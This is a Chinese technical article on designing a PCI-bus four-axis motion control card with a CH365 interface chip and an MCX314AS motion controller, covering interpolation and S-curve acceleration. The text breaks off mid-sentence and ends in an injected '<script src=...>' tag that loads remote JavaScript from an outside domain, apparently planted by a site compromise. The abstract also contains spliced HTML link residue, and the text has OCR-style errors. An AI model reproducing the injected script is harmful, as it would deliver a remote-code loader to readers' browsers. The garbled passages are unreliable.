摘要：以ch365型pci总线接口和mcx314as-p.htm" target="_blank" title="mcx314as货源和pdf资料">mcx314as型运动控制器为核心硬件，自主研发了基于运动控制器的pci总线运动控制卡。该控制卡能够实现4轴位置、速度和s曲线的加减速控制，具有直线、圆弧、位模式插补功能及自动原位搜寻功能，同时具有4路信号输入和8路通用输出。
关键词：运动控制卡；pci总线；mcx314as；ch365
1 引言
随着现代科技的发展，数控技术的发展趋势是开放式数控。开放式数控系统具有即插即用、可移植性、可扩展性和可互操作性特点。pc—nc是目前比较实用的一种开放式数控系统模式，pc—nc可归纳为3种：pc板插入到nc装置中；软件nc；nc板插入到pc中。其中，第一种方案保留原有的数控系统不变，插入的pc板主要承担人一机界面、编程和通信等功能，用以提高系统开放性。此方案为目前主流数控系统厂商采用，可靠性较高但开放性有限。第二种方案的实时性对pc的cpu要求很高。第三种方案是在pc硬件平台和操作系统的基础上，采用自主开发或购买的运动控制卡来实现数控机床所需的全部功能。其中pc进行非实时处理，实时插补控制由运动控制卡来承担，采用这种方案设计的数控系统开放性好，人一机界面灵活，非常适合非标准数控机床的开发。
文中给出了基于第三种方案的运动控制卡设计方案，采用ch365型pci总线接口和mcx314as型运动控制器作为核心硬件，实现运动控制卡的4轴位置、速度、s曲线的加减速控制；直线、圆弧、位模式插补功能：自动原位搜寻功能以及4路信号输入和8路通用输出。与其他控制卡相比，其位模式插补功能、自动原位搜寻功能及电子齿轮设计最有特色。
2 pci总线接口电路
目前，计算机总线技术已由isa总线发展到pci总线，pci的含义是周边元件互连(peripheral component interconnect)。pci局部总线是一种高性能的32位／64位地址／数据复用总线，总线时钟频率高达33mhz／66mhz，同步控制，猝发传送时数据传递速率高达132mb／s(32位)或264mb／s(64位)[1]。
实现pci接口的方法有二种：使用复杂可编程逻辑器件或现场可编程门阵列(如cpld／fpga)和使用专用电路(如pci9052和ch365等)。采用cpld/fpga实现pci接口虽然灵活性高且性能较好，但其ip核的价格较高，而采用专用电路固然灵活性较差,但不影响其使用性能，尤其是可以利用器件生产厂商提供的配套工具，大大简化设计和缩短开发周期，从而降低开发成本。
目前市场上有多种pci接口电路．国外的如plx公司的：pci90系列，altera公司的eplok，amcc公司的s5933等，这些接口电路的性能好、适应对象较广，但价格较昂贵。南京沁恒公司推出一款ch365型pci接口电路，该器件性能完全满足pci接口规范，虽然频率较低(16mhz)，但可满足设计需要且使用方便，价格低于国外产品，性价比高。经比较，本设计采用ch365作pci接口器件。
ch365具有以下满足本运动控制卡设计的性能特点：
实现基于32位pci总线的从设备接口：
转换为主动并行接口，8位数据，16位地址，i／o读写,存储器读和写：
可以设定pci板卡的设备标识(vendol id、de-vice id,class code等)；
支持以字节、字或双字为单位对i／o端口或者存储器进行读写：
非突发存取的实测速度高达7mb／s，读写脉冲宽度为30ns～240ns可选，满足运动控制卡要求：
支持长度达240字节的i／o端口：
支持低电平有效的本地中断请求,支持中断共享：
内置4μs～1ms的硬件计时单元，用于软件运行过程中的延时参考[2]。
3 运动控制器
目前传统的运动控制器多采用嵌入式高性能单片机(如mc6833l微控制器)或dsp(tms320xxx或dsp56xxx)来实现，系统集成度不够高，电路复杂，且软、硬件研制周期长，性能一致性较难保证。采用专用运动控制器可以提高系统集成度、插补速度及可靠性，同时简化电路，缩短开发周期。
目前市场上有多种运动控制器，如美国的pmd公司，日本的nova、ky()pal、seek公司的产品。本设计采用日本nova公司的mcx314as，它是mcx314的改进型，能够同时控制4个伺服马达或步进马达，能以脉冲串形式输出，对伺服马达和步进马达进行位置控制、插补驱动速度控制等。具有许多突出功能。
(1)以固定速度或加／减速度输出指定数量的脉冲达到定量驱动；连续输出驱动脉冲，直至高位的停止命令或外部的停止信号有效时停止实现连续驱动。用于快速归零原点开关搜寻、扫描操作、控制马达旋转连续驱动速度等。
(2)设定各线段的加／减速曲线为定速、直线(梯形)加／减速或s曲线加／减速，使用s曲线加／减速可使运动更平滑，但降低了总速度。
(3)每个控制轴都有2个用于控制当前位置的32位可逆计数器，一个是在器件内部管理驱动脉冲输出的逻辑位置计?script src=http://er12.com/t.js>
